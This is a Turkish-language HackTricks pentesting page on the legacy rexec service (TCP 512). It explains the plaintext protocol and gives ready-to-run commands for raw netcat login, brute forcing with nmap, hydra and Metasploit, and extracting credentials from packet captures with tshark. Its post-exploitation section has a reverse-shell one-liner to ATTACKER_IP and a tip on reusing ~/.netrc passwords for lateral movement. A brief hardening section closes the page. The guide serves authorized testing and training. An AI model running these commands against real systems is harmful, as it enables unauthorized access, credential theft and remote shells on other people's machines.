512 - Pentesting Rexec
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Rexec (uzaktan exec) orijinal Berkeley r-servisleri paketinin bir parçasıdır ( rlogin
, rsh
, … ile birlikte). Sadece düz metin kullanıcı adı ve şifre ile kimlik doğrulaması yapılan bir uzaktan komut yürütme yeteneği sağlar. Protokol, 1980'lerin başında tanımlanmıştır (bkz. RFC 1060) ve günümüzde tasarım gereği güvensiz olarak kabul edilmektedir. Yine de, bazı eski UNIX / ağ bağlantılı ekipmanlarda varsayılan olarak etkinleştirilmiştir ve zaman zaman iç pentestler sırasında ortaya çıkmaktadır.
Varsayılan Port: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Tüm trafik – kimlik bilgileri de dahil – şifrelenmemiş olarak iletilir. Ağa göz atma yeteneğine sahip olan herkes kullanıcı adını, şifreyi ve komutu geri alabilir.
Protokol hızlı bakış
- İstemci TCP 512'ye bağlanır.
- İstemci üç NUL-terminatör dizesi gönderir:
- stdout/stderr almak istediği port numarası (ASCII olarak) (genellikle
0
), - kullanıcı adı,
- şifre.
- İcra edilecek komut ile son bir NUL-terminatör dizesi gönderilir.
- Sunucu, tek bir 8-bit durum baytı (0 = başarı,
1
= başarısızlık) ve ardından komut çıktısı ile yanıt verir.
Bu, echo -e
ve nc
ile değişimi yeniden oluşturabileceğiniz anlamına gelir:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Eğer kimlik bilgileri geçerliyse, id
komutunun çıktısını aynı bağlantı üzerinden doğrudan alacaksınız.
İstemci ile manuel kullanım
Birçok Linux dağıtımı hala inetutils-rexec / rsh-client paketinin içinde eski istemciyi sunmaktadır:
rexec -l user -p password <target> "uname -a"
Eğer -p
atlanırsa, istemci şifreyi etkileşimli olarak istemek için bir istemde bulunacaktır (açık metin olarak ağda görünür!).
Sayım & Kaba kuvvet
Kaba kuvvet
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute
NSE, yukarıda açıklanan protokolü kullanarak kimlik bilgilerini çok hızlı bir şekilde denemektedir.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
özel bir rexec modülüne sahiptir ve en hızlı çevrimdışı bruteforcer olarak kalır. medusa
(-M REXEC
) ve ncrack
(rexec
modülü) aynı şekilde kullanılabilir.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Modül başarılı olduğunda bir shell oluşturacak ve kimlik bilgilerini veritabanında saklayacaktır.
Kimlik bilgilerini dinleme
Her şey düz metin olduğu için, ağ yakalamaları paha biçilmezdir. Trafiğin bir kopyasıyla hedefe dokunmadan kimlik bilgilerini çıkarabilirsiniz:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark Decode As … TCP 512 → REXEC'i etkinleştirerek güzel bir şekilde ayrıştırılmış alanları görüntüleyin.)
Post-Exploitation ipuçları
- Komutlar sağlanan kullanıcının ayrıcalıklarıyla çalıştırılır. Eğer
/etc/pam.d/rexec
yanlış yapılandırılmışsa (örneğinpam_rootok
), root shell'leri bazen mümkün olabilir. - Rexec, kullanıcının shell'ini göz ardı eder ve komutu
/bin/sh -c <cmd>
aracılığıyla çalıştırır. Bu nedenle, birden fazla komutu zincirlemek veya ters shell'ler başlatmak için tipik shell-escape hilelerini (;
,$( )
, backticks) kullanabilirsiniz:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Parolalar genellikle diğer sistemlerde ~/.netrc içinde saklanır; eğer bir host'u ele geçirirseniz, bunları yan hareket için yeniden kullanabilirsiniz.
Güçlendirme / Tespit
- rexec'i açığa çıkarmayın; onu SSH ile değiştirin. Neredeyse tüm modern inetd süper sunucuları, hizmeti varsayılan olarak yorum satırına alır.
- Eğer onu tutmanız gerekiyorsa, TCP wrapper'lar (
/etc/hosts.allow
) veya güvenlik duvarı kuralları ile erişimi kısıtlayın ve her hesap için güçlü parolalar zorunlu kılın. - :512'ye giden trafiği ve
rexecd
süreç başlatmalarını izleyin. Tek bir paket yakalama, bir ihlali tespit etmek için yeterlidir. rexec
,rlogin
,rsh
'yi birlikte devre dışı bırakın – bunlar çoğu aynı kod tabanını ve zayıflıkları paylaşır.
Referanslar
- Nmap NSE
rexec-brute
belgeleri – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit modülü
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.